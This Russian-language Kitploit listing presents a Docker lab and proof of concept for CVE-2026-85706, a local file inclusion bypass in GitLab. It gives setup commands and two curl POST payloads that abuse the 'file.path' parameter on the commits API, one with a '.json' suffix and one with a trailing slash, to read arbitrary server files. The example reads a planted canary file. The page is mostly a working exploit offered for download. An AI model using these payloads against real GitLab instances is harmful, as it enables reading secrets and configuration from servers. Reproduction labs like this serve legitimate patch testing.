CVE-2026-85706_docker_exp — Среда воспроизведения на базе Docker и PoC для CVE-2026-85706, демонстрирующие обход LFI в GitLab с помощью суффикса .json и трюков с завершающим слешем в пути. | Kitploit

1. Запуск docker

git clone  https://github.com/FlowerWitch/CVE-2026-85706_docker_exp
docker compose up -d

Запись тестовой информации для LFI

docker exec gitlab-vuln bash -c 'echo "SECRET-CANARY-85706-%%%" > /tmp/canary.txt'

Проверка чтения

# Способ обхода 1: суффикс .json
curl -s -w "\nHTTP %{http_code}\n" -X POST "http://localhost:8085/api/v4/projects/1/repository/commits.json" \
  -H "Content-Type: application/json" \
  --data '{"file":"","file.path":"/tmp/canary.txt","file.size":1,"Content-Type":"application/x-www-form-urlencoded"}'

# Способ обхода 2: завершающий слэш
curl -s -w "\nHTTP %{http_code}\n" -X POST "http://localhost:8085/api/v4/projects/1/repository/commits/" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data 'file=&file.path=/tmp/canary.txt&file.size=1&Content-Type=application/x-www-form-urlencoded'

Скачать инструмент

Популярное

CVE-2026-85706_docker_exp

1. Запуск docker